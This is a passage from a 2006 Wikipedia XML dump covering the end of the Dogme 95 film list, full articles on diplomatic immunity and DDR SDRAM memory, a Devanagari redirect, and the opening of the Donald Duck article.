# [[Se Til Venstre, Der Er En Svensker]] (Denmark, 2003) [http://www.imdb.com/title/tt0338418/ (IMDb entry)]
# [[Residencia]] (Chile. 2004) [http://www.imdb.com/title/tt0439782/ (IMDb entry)]
# [[Forbrydelser]] (Denmark, 2004) [http://www.imdb.com/title/tt0347016/ (IMDb entry)]
# [[Cosi x Caso]] (Italy, 2004) [http://www.imdb.com/title/tt0422014/ (IMDb entry)]
# [[Amateur Dramatics (movie)]] (UK/Denmark)
# [[Gypo]] (UK, 2005) [http://www.imdb.com/title/tt0443526/ (IMDb entry)]
# [[Mere Players]] (USA)
# [[el ultimo lector]] (Mexico)
# [[Lazy Sunday Afternoons]] (UK)
# [[Lonely Child]](Canada)
# [[DarshaN]] (USA)
# [[11:09]] (USA)
# [[Vince Conway]] (UK)
# [[Regret Regrets]] (USA)
# [[Perspective (film)|Perspective]] (UK)
# [[Godinne van die Grondpad]] (South Africa)
# [[Giles sucks]] (Luxembourg)
# [[Michelle, Gilles, Kim]] (Luxembourg)
# [[autobahne]] (Turkey)
# [[lovesickdiaries.com]] (USA)

==See also==
*[[minimalism]]
*[[realism (arts)|realism]]

==External links==
*[http://www.dogme95.dk Official Dogme95 website]
*[http://www.greencine.com/static/primers/dogme95.jsp GreenCine primer on Dogme95]

[[Category:Movements in cinema]]
[[Category:Danish culture]]

[[zh-min-nan:Dogme 95]]
[[cs:Dogme 95]]
[[da:Dogme95]]
[[de:Dogma 95]]
[[eo:Dogmo 95]]
[[es:Dogma 95]]
[[fr:Dogme95]]
[[hu:Dogma-filmek]]
[[it:Dogma 95]]
[[ja:ドグマ95]]
[[lb:Dogma 95]]
[[nl:Dogma 95]]
[[no:Dogmefilm]]
[[pt:Dogma 95]]
[[ru:Догма 95]]
[[zh:道格玛95]]</text>
    </revision>
  </page>
  <page>
    <title>Diplomatic immunity</title>
    <id>8921</id>
    <revision>
      <id>41852179</id>
      <timestamp>2006-03-02T03:48:14Z</timestamp>
      <contributor>
        <ip>68.110.239.13</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">: ''For the [[Canada|Canadian]] [[newsmagazine]] series, see [[Diplomatic Immunity (TV series)]].''

'''Diplomatic immunity''' is a form of legal [[immunity (legal)|immunity]] and a policy held between governments, which ensures that [[diplomat]]s are given safe passage and are considered not susceptible to [[lawsuit|lawsuit]] or [[prosecution]] under the host country's laws (although they can be expelled). It was agreed as [[international law]] in the [[Vienna Convention on Diplomatic Relations]] (1961), though there is a much longer history in international law.

It is possible for the official's home country to waive immunity; this tends to only happen when the individual has committed a serious [[crime]], unconnected with their diplomatic role (as opposed to, say, allegations of [[espionage|spy]]ing), or has witnessed such a crime. Alternatively, the home country may prosecute the individual.

== History ==
The sanctity of diplomats has been observed for centuries. Most likely, the immunity of diplomatic staff rises from the immunity of the messengers sent on the battlefield. Before the evolution of the international justice, many wars were considered rebellions or unlawful by one or more combatant sides. In such cases, the servants of the &quot;criminal&quot; sovereign were often considered accomplices and their persons violated. In other circumstances, harbingers of unconsiderable demands were killed as a declaration of war. A well-known case recorded by [[Herodotus]], occurred when two servants of the [[Persian Empire|Persian]] Great-King were killed by first drowning them in a well and then burying them there. This was the [[Athens|Athenian]] response to the Persian demand for Greek &quot;water and soil&quot;. 

A [[Ancient Rome|Roman]] envoy was urinated on, as he was leaving the city of [[Carthage]]. The oath of the envoy: &quot;This stain will be washed away with blood!&quot; was fulfilled by the [[Second Punic War]]. 

As diplomats by definition enter the country under [[safe-conduct]], violating them is normally viewed as a great breach of honour, although there have been a number of cases where diplomats have been killed. [[Genghis Khan]] and the [[Mongols]] were well known for strongly insisting on the rights of diplomats, and they would often take horrific vengeance against any state that violated these rights. The [[Parliament of Great Britain|British Parliament]] first guaranteed diplomatic immunity to foreign ambassadors in [[1709]], after Count [[Andrey Matveyev]], a Russian resident in London, had been subjected by British [[bailiff]]s to verbal and physical abuse.

Modern diplomatic immunity evolved parallel to the development of modern diplomacy. In the seventeenth century European diplomats realized that protection from prosecution was essential to doing their jobs and a set of rules evolved guaranteeing the rights of diplomats. These were still confined to Western Europe, and were closely tied to the prerogatives of nobility. Thus an emissary to the [[Ottoman Empire]] could expect to be arrested and imprisoned upon the outbreak of hostilities between their state and the empire. The international justice applied only between &quot;civilized&quot; (or Christian) peoples. The [[French Revolution]] also disrupted this system as the revolutionary state and [[Napoleon]] imprisoned a number of diplomats accused of working against France.  More recently, the [[Iran hostage crisis]] was a violation of diplomatic immunity. On the other hand, in the [[World War II|Second World War]], diplomatic immunity was upheld and the embassies evacuated through neutral countries.

For the upper class of the 17th, 18th and 19th centuries, diplomatic immunity was an easy concept to understand. Warfare was not between individuals but between their sovereigns, and the officers and officials of European governments and armies often changed employers. Truces and ceasefires were commonplace, along with fraternization between officers of enemy armies during them. When prisoners, the officers usually gave their parole and were only restricted to a city away from the theatre of war. Almost always, they were given leave to carry their personal sidearms. Even during French revolutionary wars, British scientists visited the [[French Academy]]. In such an atmosphere, it was easy to accept that some persons were immune to the laws. After all, they were still bound by strict requirements of honour and customs.

In the nineteenth century the [[Congress of Vienna]] system reasserted the rights of diplomats, and they have been largely respected since then as the European model has spread throughout the world. Nowadays diplomatic immunity, as well as diplomatic relations as a whole, are governed internationally by [[Vienna Convention on Diplomatic Relations]] which has been ratified by almost every country in the world.

In modern times, the outbreak of nationalism and egalitarianism has made it difficult for the common man to understand, why some persons should be immune to local jurisdiction. If they are enemy, should they not be interned? If they commit crimes, should they not be prosecuted as everyone else? Such ideas, common though they are, disregard cultural differences and deep distrust between some governments. Would any American, for example, think that an American diplomat in People's Republic of China or in [[Iran]] (where U.S. does not currently have standing diplomatic representation) would receive a fair trial if they are charged with say, murder? Most likely, neither would a Chinese or an Iranian believe that their diplomats would be fairly tried by an American jury, especially if relations between the countries were undergoing a crisis. With such profound mutual distrust, diplomatic immunity provides a means, albeit imperfect, to safeguard diplomatic personnel.

==Abuse==
In some occasions, diplomatic immunity leads to some unfortunate results; protected diplomats have violated laws (including those which would be violations at home as well) of the host country and that country has been essentially limited to informing the diplomat's nation that the diplomat is no longer welcome (the Latin phrase is ''[[persona non grata]]''). Although the diplomat's nation is responsible for carrying out eventual criminal and civil procedures against him or her, this is often neglected. Violations of diplomatic immunity have included [[espionage]] in a large number of cases, smuggling of small high value items in a surely much larger number of instances, some troubling child custody law violations, [[rape]] and even [[murder]] in a few cases. Historically the problem of large debts run up by diplomats has caused many problems. 

The espionage conducted by embassies is actually more a custom than a violation of diplomatic immunity, as it is continuously carried out by all major world powers. A typical position for an intelligence officer is as second press attaché, visa attaché or other position with no clear responsibilities. For example, [[Russia|Russian]] president [[Vladimir Putin]] has served as an intelligence officer in this kind of position in the Soviet embassy in Berlin. In the United States, it is a policy of the [[Foreign Service]] not to confirm or deny the existence of intelligence personnel in US embassies.

A particular problem with an intermittently amusing side is the immunity of diplomatic vehicles to ordinary [[rules of the road|traffic regulations]] such as prohibitions on [[double parking]]. Occasionally, such problems may take a most serious turn, when disregard for traffic rules leads to bodily harm or death.
* In January of 1997, [[Gueorgui Makharadze]], the deputy ambassador of [[Republic of Georgia]]'s embassy in Washington caused an accident that injured four people and killed a sixteen-year-old girl. He was found to have a blood-alcohol level of 0.15, but released from custody because he was a diplomat. The U.S. government asked the Georgian government to waive his immunity, which they did and Makharadze was tried and convicted of manslaughter by the U.S. and sentenced to seven to twenty-one years in prison.
* On December 3, 2004, a guard for the American embassy in [[Bucharest, Romania]], allegedly drunk, collided with a taxi and killed the popular Romanian musician [[Teo Peter]]. Marine [[Christopher Van Goethen]] did not obey a traffic signal to stop which resulted in the collision of his Ford Expedition with the taxi the rock star was travelling in. Van Goethen's blood alcohol content was estimated at 0.09 from a [[breathalyser]] test, but he refused to give a blood sample for further testing and left for [[Germany]] before charges could be filed in Romania. The Romanian government has requested the American government to lift his immunity, which they have refused to do. The Marine was later cleared by a Court Martial both of the more important charge of manslaughter and of the (relatively) minor charge of adultery.
* In [[New York, New York|New York City]], the home of the [[United Nations]] Headquarters (and hence thousands of diplomats) and a city in which many drivers regard [[double parking]] as normal despite regulations, protests against double-parked diplomatic vehicles have a certain quixotic quality. Nonetheless, the City eternally, and interminably, protests to the [[US Department of State]] about non-payment of parking tickets due to diplomatic status.
* In [[France]], between November 2003 and 2004, there were 2,590 cases of diplomatic cars caught speeding by automatic radars. [[China]] alone had 155 violations. In comparison, there were 4,400 speeding violations by [[France|French]] official vehicles, such as police cars, an obviously much greater population than the [[Diplomatic Corps]] (''[[Le Canard Enchaîné]]'', March 16 2005).
* Some financial institutions will not extend credit to diplomats because they have no legal means of causing the money's safe return.

In fiction, diplomatic immunity is often portrayed negatively with criminals with diplomatic papers brazenly committing the most violent crimes and arrogantly waving their immunity about when the heroes try to stop them.  (An example of this can be seen in the movie [[Lethal Weapon II]]).In fact, most professional diplomats are representatives of large, powerful nations with a tradition of professional civil service.  They are expected to obey regulations governing their behaviour and they suffer strict internal consequences if they flout local laws. Diplomats who disobey minor regulations or break major laws, or disappear with bad debts are in a minority, and they usually come from small or poor or badly organized countries with no tradition of a professional diplomatic service or of a national civil service. In many of the richest and largest nations of the globe a professional diplomat's career is compromised if he or she (or even members of his or her family) disobeys the local authorities.

== Diplomatic immunity in the United States==
Note that the below applies to the [[United States]]. In general, these rules follow Vienna Convention on Diplomatic Relations, ratified by the United States and most other countries. Some countries have made reservations to the convention, but they are minor. Most important are the reservation by some Arab nations concerning the immunity of diplomatic bags and non-recognition of Israel. A number of countries limit the diplomatic immunity of persons who are citizens of the receiving country. As nations keep faith to their treaties with differing zeal, also other rules may apply, though in most cases this summary is a reasonably accurate approximation. It is important to note that the Convention does not cover the personnel of international organizations, whose privileges are decided upon on case-by-case basis, usually in the treaties founding such organizations.

&lt;table border=&quot;1&quot; cellpadding=&quot;1&quot;&gt;
&lt;tr&gt;
&lt;th colspan=2&gt;Category&lt;/th&gt;
&lt;th&gt;May be arrested or detained&lt;/th&gt;
&lt;th&gt;Residence may be entered subject to ordinary procedures&lt;/th&gt;
&lt;th&gt;May be issued traffic ticket&lt;/th&gt;
&lt;th&gt;May be sub - poenaed as witness&lt;/th&gt;
&lt;th&gt;May be prosecuted&lt;/th&gt;
&lt;th&gt;Official family member&lt;/th&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;th rowspan=3&gt;Diplomatic&lt;/th&gt;
&lt;th&gt;Diplomatic agent&lt;/th&gt;
&lt;td&gt;No&lt;sup&gt;1&lt;/sup&gt;&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Same as sponsor&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;Member of administrative and technical staff&lt;/th&gt;
&lt;td&gt;No&lt;sup&gt;1&lt;/sup&gt;&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Same as sponsor&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;Service staff&lt;/th&gt;
&lt;td&gt;Yes&lt;sup&gt;2&lt;/sup&gt;&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No, for official acts.  Otherwise, yes&lt;sup&gt;2&lt;/sup&gt;&lt;/td&gt;
&lt;td&gt;No&lt;sup&gt;2&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;th rowspan=3&gt;Consular&lt;/th&gt;
&lt;th&gt;Career Consular Officers&lt;/th&gt;
&lt;td&gt;Yes, if for a felony and pursuant to a warrant.&lt;sup&gt;2&lt;/sup&gt;&lt;/td&gt;
&lt;td&gt;Yes&lt;sup&gt;4&lt;/sup&gt;&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No, for official acts.  Testimony may not be compelled in any case.&lt;/td&gt;
&lt;td&gt;No, for official acts.  Otherwise, yes&lt;sup&gt;3&lt;/sup&gt;&lt;/td&gt;
&lt;td&gt;No&lt;sup&gt;2&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;Honorary consular officers&lt;/th&gt;
&lt;td&gt;Yes&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No, for official acts.  Yes, in all other cases&lt;/td&gt;
&lt;td&gt;No, for official acts.  Otherwise, yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;Consular employees&lt;/th&gt;
&lt;td&gt;Yes&lt;sup&gt;2&lt;/sup&gt;&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No, for official acts.  Yes, in all other cases&lt;/td&gt;
&lt;td&gt;No, for official acts.  Otherwise, yes&lt;sup&gt;2&lt;/sup&gt;&lt;/td&gt;
&lt;td&gt;No&lt;sup&gt;2&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;th rowspan=3&gt;International organization&lt;/th&gt;
&lt;th&gt;International Organization Staff&lt;sup&gt;3&lt;/sup&gt;&lt;/th&gt;
&lt;td&gt;Yes&lt;sup&gt;3&lt;/sup&gt;&lt;/td&gt;&lt;td&gt;Yes&lt;sup&gt;3&lt;/sup&gt;&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No, for official acts.  Yes, in all other cases&lt;/td&gt;
&lt;td&gt;No, for official acts.  Otherwise, yes&lt;sup&gt;3&lt;/sup&gt;&lt;/td&gt;
&lt;td&gt;No&lt;sup&gt;2&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; 
&lt;th&gt;Diplomatic - level staff of missions to international organizations&lt;/th&gt;
&lt;td&gt;No&lt;sup&gt;1&lt;/sup&gt;&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Same as sponsor&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;Support staff of missions to international organizations&lt;/th&gt;
&lt;td&gt;Yes&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No, for official acts.  Yes, in all other cases&lt;/td&gt;
&lt;td&gt;No, for official acts.  Otherwise, yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

&lt;sup&gt;1&lt;/sup&gt;Reasonable constraints, however,
may be applied in emergency circumstances involving self-defense,
public safety, or the prevention of serious criminal acts.

&lt;sup&gt;2&lt;/sup&gt;This table presents general rules.  Particularly in the cases indicated,
the employees of certain foreign countries may enjoy ''higher'' levels of privileges and immunities on the basis of special bilateral agreements.

&lt;sup&gt;3&lt;/sup&gt;A small number of senior officers are entitled to be treated identically to &quot;diplomatic agents&quot;.

&lt;sup&gt;4&lt;/sup&gt;Note that consular residences are sometimes located within the official consular premises.  In such cases,
''only'' the official office space is protected from police entry.

''This chart is copied from the US [[United States Department of State|State Department]]'s Bureau of Diplomatic Security Web site, http://www.state.gov/m/ds/immunities/c9127.htm.''

==See also==
*[[Diplomatic mission]]
* [[Gueorgui Makharadze]]
* [[Christopher Vangoethem]]

==External links==
* [http://www.ediplomat.com/nd/diplomatic_immunity.htm eDiplomat.com: Diplomatic Immunity ]
* [http://www.nyc.gov/html/unccp/html/home/home.shtml New York City Commission for the United Nations Consular Corp and Protocol]
* [http://www.straightdope.com/mailbag/mdiploimmunity.html Straight Dope Staff Report: What's the story on diplomatic immunity?]
* [http://accountability-international.blogspot.com Abuses of Diplomatic Immunity]


[[Category:Diplomacy]]

[[cs:Imunita (právo)]]
[[de:Politische Immunität]]
[[es:Inmunidad diplomática]]
[[he:חסינות דיפלומטית]]
[[pl:przywileje i immunitety dyplomatyczne]]
[[ru:Дипломатический иммунитет]]</text>
    </revision>
  </page>
  <page>
    <title>DDR SDRAM</title>
    <id>8922</id>
    <revision>
      <id>41012354</id>
      <timestamp>2006-02-24T13:52:30Z</timestamp>
      <contributor>
        <username>Qviri</username>
        <id>325545</id>
      </contributor>
      <minor />
      <comment>/* Stick/module specification */ Low-quality sticks can be overclocked too...</comment>
      <text xml:space="preserve">__NOTOC__
[[image:DSCF0787.JPG|thumb|250px|DDR memory (front and back shown) has 184 pins and one notch.]]

'''DDR SDRAM''' or '''double-data-rate synchronous [[dynamic random access memory]]''' is a type of memory [[integrated circuit]] used in [[computer]]s.  It achieves greater [[bandwidth]] than ordinary [[SDR SDRAM|SDRAM]] by transferring data on both the rising and falling edges of the [[clock signal]] ([[double pumped]]). This effectively nearly doubles the [[transfer rate]] without increasing the frequency of the [[front side bus]]. Thus a 100&amp;nbsp;[[Megahertz|MHz]] DDR system has an effective [[clock rate]] of 200&amp;nbsp;MHz when compared to equivalent SDR SDRAM, the “SDR” being a retrospective designation. 

With data being transferred 8 [[byte]]s at a time DDR RAM gives a transfer rate of (memory bus clock rate) × 2 (for dual rate) × 8 (number of bytes transferred). Thus with a bus frequency of 100&amp;nbsp;MHz, DDR-SDRAM gives a max transfer rate of 1600&amp;nbsp;[[megabyte|MB]]/[[second|s]]. 

[[JEDEC]] has set standards for speeds of DDR SDRAM, divided into two parts: The first specification is for memory chips and the second is for memory modules.

==Chip specification==
* DDR-200: DDR-SDRAM memory chips specified to run at 100&amp;nbsp;MHz
* DDR-266: DDR-SDRAM memory chips specified to run at 133&amp;nbsp;MHz
* DDR-333: DDR-SDRAM memory chips specified to run at 166&amp;nbsp;MHz
* DDR-400: DDR-SDRAM memory chips specified to run at 200&amp;nbsp;MHz

==Stick/module specification==
* PC-1600: DDR-SDRAM memory module specified to run at 100&amp;nbsp;MHz using DDR-200 chips, 1.600&amp;nbsp;[[gigabyte|GByte]]/s bandwidth per channel.
* PC-2100: DDR-SDRAM memory module specified to run at 133&amp;nbsp;MHz using DDR-266 chips, 2.133&amp;nbsp;GByte/s bandwidth per channel
* PC-2700: DDR-SDRAM memory module specified to run at 166&amp;nbsp;MHz using DDR-333 chips, 2.667&amp;nbsp;GByte/s bandwidth per channel
* PC-3200: DDR-SDRAM memory module specified to run at 200&amp;nbsp;MHz using DDR-400 chips, 3.200&amp;nbsp;GByte/s bandwidth per channel

'''Note:''' All RAM speeds in-between or above these listed specifications are not standardized by JEDEC — most often they are simply manufacturer optimizations using higher-tolerance chips.

The package sizes in which DDR SDRAM is manufactured are also standardised by JEDEC.

There is no architectural difference between DDR SDRAM designed for different clock frequencies, e.g. PC-1600 (designed to run at 100&amp;nbsp;MHz) and PC-2100 (designed to run at 133&amp;nbsp;MHz). The number simply designates the speed that the chip is guaranteed to run at. Hence you can run DDR SDRAM at lower clock speeds than it was made for ([[underclocking]]) or higher clock speeds than it was made for ([[overclocking]]). Note that overclocking should only be done by those that know what they are doing (see [[overclocking]] for details on why).

DDR SDRAM [[DIMM]]s have 184&amp;nbsp;pins (as opposed to 168 pins on SDRAM, or, 240 pins on DDR-2), and can be differentiated from SDRAM DIMMs by the number of notches (DDR SDRAM has one, SDRAM has two). DDR operates at a voltage of 2.5&amp;nbsp;[[Volt|V]], compared to 3.3&amp;nbsp;V for SDRAM. This can significantly reduce power usage.

Some new chipsets use these memory types in [[dual-channel|dual]] or even quad channel configurations, which doubles or quadruples the effective bandwidth. In the dual-channel configuration it is recommended to use a ''matched pair'' of memory modules to optimize performance. The modules in a pair have the same size, speed, and latency timings, enabling the chipset to interleave accesses with maximum efficiency.

==Alternatives==
DDR is slowly being replaced by [[DDR2 SDRAM|DDR-2]], which has some modifications to allow higher clock frequency, but operates on the same principle as DDR. Competing with DDR-2 will be [[Rambus]] [[XDR-DRAM]]. It is expected that DDR-2 will become the standard, since QDR (Quad Data Rate) is too complex to implement, while XDR is lacking support.

DDR Prefetch buffer width is 2&amp;nbsp;bits, DDR-2 uses 4&amp;nbsp;bits.

Memory manufacturers have stated that it is impractical to mass-produce DDR-1 memory with effective clock rates in excess of 400&amp;nbsp;MHz. DDR-2 picks up where DDR-1 leaves off, and is available at clock rates of 400&amp;nbsp;MHz and higher.

[[RDRAM]] is an alternative to DDR SDRAM, but most manufacturers have dropped support from their chipsets.

== See also ==
* [[DDR2 SDRAM]]
* [[SDR SDRAM]]
* [[Dual channel]]

== External links ==
* [http://www.jedec.org/ Official JEDEC website]
* http://www.ddrmemoryram.com/ddrsdram_and_sdram.html

[[Category:Computer memory]]

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  </page>
  <page>
    <title>Devanagiri</title>
    <id>8924</id>
    <revision>
      <id>17734167</id>
      <timestamp>2005-06-28T04:28:39Z</timestamp>
      <contributor>
        <username>CesarB</username>
        <id>7410</id>
      </contributor>
      <minor />
      <comment>fix dbl redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Devanāgarī]]</text>
    </revision>
  </page>
  <page>
    <title>Donald Duck</title>
    <id>8925</id>
    <revision>
      <id>41742434</id>
      <timestamp>2006-03-01T12:23:39Z</timestamp>
      <contributor>
        <username>GrinBot</username>
        <id>411872</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: he</comment>
      <text xml:space="preserve">[[Image:Donald Duck suitcase small2.jpg|thumb|200px|right|Donald Duck]]
'''Donald Duck''' is an [[animated cartoon]] and [[comic book|comic-book]] [[fictional character|character]] from [[The Walt Disney Company|Walt Disney Productions]]. Donald is a white [[anthropomorphism|anthropomorphic]] [[duck]] with yellow-orange bill, legs, and feet. He usually wears a [[sailor]] [[shirt]] and [[cap]] &amp;mdash; but no [[pants]] (except when he goes swimming). Some people believe that [[Finland]] banned him because he has no trousers, but this is an [[urban legend]], [http://www.snopes.com/disney/films/finland.htm]. 

Donald's famous voice, one of the most identifiable voices in all of animation, was until [[1985]] performed by [[voice actor]] [[Clarence Nash|Clarence &quot;Ducky&quot; Nash]].  Nash came from the rural community of [[Watonga, Oklahoma|Watonga]], [[Oklahoma]], and due to his voice acting rose far above his economic milieu.  It was largely this semi-intelligible speech that would cement Donald's image into audiences' minds and help fuel both Donald's and Clarence's rise to stardom.

According to the cartoon ''[[Donald Gets Drafted]]'' ([[1942]]), Donald's full name is '''Donald Fauntleroy Duck''' (his middle name appears to be a reference to his sailor hat, which was a common accessory for [[Little Lord Fauntleroy|Fauntleroy]] suits). (To find Donald's name in other countries, please see [[List of Disney characters' names in various languages#Donald Duck|Disney characters' names in various languages]].) Disney's website also states his name as Donald Fauntleroy Duck.[http://disney.go.com/vault/archives/characterstandard/donald/donald.html]  Donald's birthday is generally represented as [[June 9]], [[1934]], the day his debut film was released, but in ''[[The Three Caballeros]]'', his birthday is given as simply &quot;Friday the Thirteenth.&quot;

Donald's most famous personality trait is his explosive, short temper when frustrated, which often gets him into various situations in his theatrical shorts. Despite this, however, Donald is usually shown as content and easygoing when not frustrated by a problem.

== Donald in animation ==
===Early appearances===
[[Image:Donald duck debut.PNG|thumb|right|Donald Duck's debut in the ''Wise Little Hen''.]]
*For a list of Donald's cartoons, consult [[Donald Duck cartoons]]

Donald first appeared in the ''[[Silly Symphonies]]'' cartoon ''[[The Wise Little Hen]]'' on [[June 9]], [[1934]] (though he is mentioned in a [[1931]] Disney storybook). Donald's appearance in the cartoon, as created by [[animator]] [[Dick Lundy (animator)|Dick Lundy]], is similar to his modern look &amp;mdash; the colors are the same, as is the blue sailor shirt and hat &amp;mdash; but his features are more elongated, his body plumper, and his feet bigger. Donald's personality is not developed either; in the short, he only fills the role of the unhelpful friend from the original story. 

[[Bert Gillett]], [[film director|director]] of ''The Wise Little Hen'', brought Donald back in his [[Mickey Mouse]] cartoon, ''[[The Orphan's Benefit]]'' on [[August 11]], 1934. Donald is one of a number of characters who are giving performances in a benefit for [[Mickey's Orphans]]. Donald's act is to recite the poems ''[[Mary had a little lamb|Mary Had a Little Lamb]]'' and ''[[Little Boy Blue]]'', but every time he tries, the mischievous orphans eat his specially made pie, leading the duck to fly into a squawking fit of anger. This explosive personality would remain with Donald for decades to come.

Donald continued to be a hit with audiences. The character began appearing in most Mickey Mouse cartoons as a regular member of the ensemble with Mickey, [[Minnie Mouse|Minnie]], [[Goofy]], and [[Pluto (dog)|Pluto]]. Cartoons from this period, such as the  [[1935]] cartoon ''[[The Band Concert]]'' &amp;mdash; in which Donald repeatedly disrupts the Mickey Mouse Orchestra's rendition of ''[[William Tell (opera)#William Tell Overture|The William Tell Overture]]'' by playing ''[[Turkey in the Straw]]'' &amp;mdash; are regularly hailed by critics as exemplary films and classics of animation. Animator [[Ben Sharpsteen]] also minted the classic ''Mickey, Donald, and Goofy'' comedy in 1935, with the cartoon ''[[Mickey's Service Station]]''.

Donald was redesigned in [[1936]] to be a bit fuller, rounder, and cuter. He also began starring in solo cartoons, the first of which was the [[January 9]], 1937 Ben Sharpsteen cartoon, ''[[Don Donald]]''. This short also introduced Donald's long-time love interest, [[Daisy Duck]] (here called ''Donna Duck''). Donald's nephews, [[Huey, Dewey and Louie]], would make their first animated appearance a year later in the [[April 15]], [[1938]] film, ''[[Donald's Nephews]]'', directed by  [[Jack King]] (they had been earlier introduced in the Donald Duck [[comic strip]] by [[Al Taliaferro]], see below).

===Wartime Donald===
[[Image:Der Fuehrer's Face.jpg|thumb|right|200px|Frame from ''Der Fuehrer's Face''.]]
During [[World War II]], film audiences were looking for brasher, edgier cartoon characters. It is no coincidence that the same era that saw the birth and rise of [[Bugs Bunny]] also saw Donald Duck's popularity soar. By [[1949]], Donald had surpassed Mickey Mouse as Disney's most popular character. Before [[1941]], Donald Duck had appeared in about 50 cartoons. Between 1941 and [[1965]], Donald would ''star'' in over 100.

Several of Donald's shorts during the war were [[propaganda]] films, most notably ''[[Der Fuehrer's Face]]'', released on [[January 1]], [[1943]]. In it, Donald plays a worker in an artillery factory in &quot;Nutzi Land&quot; ([[Nazi Germany]]). He struggles with long working hours, very small food rations, and having to [[salute]] every time he sees a picture of the [[Führer]] ([[Adolf Hitler]]). These pictures appear in many places, such as on the assembly line in which he is screwing in the detonators of various sizes of shells. In the end he becomes little more than a small part in a faceless machine with no choice but to obey till he falls, suffering a nervous breakdown. Then Donald wakes up to find that his experience was in fact a nightmare. At the end of the short Donald looks to the [[Statue of Liberty]] and the [[United States|American]] flag with renewed appreciation. ''Der Fuehrer's Face'' won the 1943 [[Academy Award for Animated Short Film]].

Other notable shorts from this period include the so-called Army shorts, six films that follow Donald's life in the [[United States Army|US Army]] from his drafting to his life at boot camp under sergeant [[Black Pete|Pete]] to his first actual mission as a [[commando]] having to sabotage a [[Japan|Japanese]] air base. Titles in the series include:

* ''[[Donald Gets Drafted]]'' - ([[May 1]], [[1942]]).
* ''[[The Vanishing Private]]'' - ([[September 25]], [[1942]]).
* ''[[Sky Trooper]]'' - ([[November 6]], [[1942]]).
* ''[[Fall Out Fall In]]'' - ([[April 23]], [[1943]]).
* ''[[The Old Army Game]]'' - ([[November 5]], [[1943]]).
* ''[[Commando Duck]]'' - ([[June 2]], [[1944]]).

''[[Donald Gets Drafted]]'' also featured Donald having a physical examination before joining the army. According to it Donald has flat feet and is unable to distinguish between the colors green and blue, which is a type of [[color blindness]]. Also in this cartoon sergeant Pete comments on Donald's lack of discipline.

It is also noteworthy that thanks to these films, Donald graced the nose artwork of virtually every type of [[World War II|WWII]] [[Allied]] combat aircraft, from the [[L-4 Grasshopper]] to the [[B-29 Superfortress]].

===Post-war animation===

Many of Donald's films made after the war recast the duck as the brunt of some other character's pestering. Donald is repeatedly attacked, harassed, and ridiculed by his nephews, by the [[chipmunk]]s [[Chip 'n Dale]], or by other one-shot characters such as [[Humphrey the Bear]], [[Buzz the Bee]], ''Bootle Beetle'', the [[Aracuan Bird]], ''Louie the Mountain Lion'' or a colony of ants. In effect, the Disney artists had reversed the classic ''screwball'' scenario perfected by [[Walter Lantz]] and others in which the main character is the ''instigator'' of these harassing behaviors, rather than the butt of them. However, by turning the tables, Donald's aggressors come off to some as sadistic or cruel, and some critics have found the films unfunny as a result.

The post-war Donald also starred in [[educational film]]s, such as ''[[Donald in Mathmagic Land]]'' ([[1959]]), and made cameos in various Disney projects, such as ''[[The Reluctant Dragon]]'' ([[1941]]) and the ''[[Disneyland]]'' [[television]] show (1959).

Since [[Clarence Nash]]'s death in 1985, Donald's voice has been provided by [[Tony Anselmo]], who was mentored by Nash.

== Donald in comics==

:''Main article: [[Donald Duck in comics]]

[[Image:Lostintheandes.jpg|right|thumb|Cover of a [[1949]] comic book containing the famous story ''[[Lost in the Andes]]''. Cover and story by [[Carl Barks]].]]
While Donald's cartoons enjoy vast popularity in the [[United States]] and around the world, his weekly and monthly comic books enjoy their greatest popularity in many [[Europe|European]] countries, most in [[Norway]] and [[Finland]], but many other countries are right behind - most notably [[Denmark]], [[Germany]], [[Italy]], the [[Netherlands]], and [[Sweden]]. Most of them are produced and published by the Italian branch of the [[Walt Disney Company]] in Italy and by [[Egmont (media group)|Egmont]] in Denmark, Norway, Finland and Sweden.

